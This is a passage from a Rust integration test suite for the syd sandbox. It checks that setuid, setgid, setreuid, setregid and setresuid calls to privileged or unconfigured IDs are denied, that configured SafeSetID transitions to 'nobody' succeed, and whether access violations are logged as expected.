    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setuid", ["1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setuid_nobody_safesetid_allow() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setgid_nobody_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setgid_nobody_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setgid_root_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setgid success.

    // SAFETY: Compared to the test setgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setgid", ["1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setgid_nobody_safesetid_allow() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setreuid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setreuid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setreuid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setreuid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setregid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setregid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setregid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setregid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setregid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setregid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
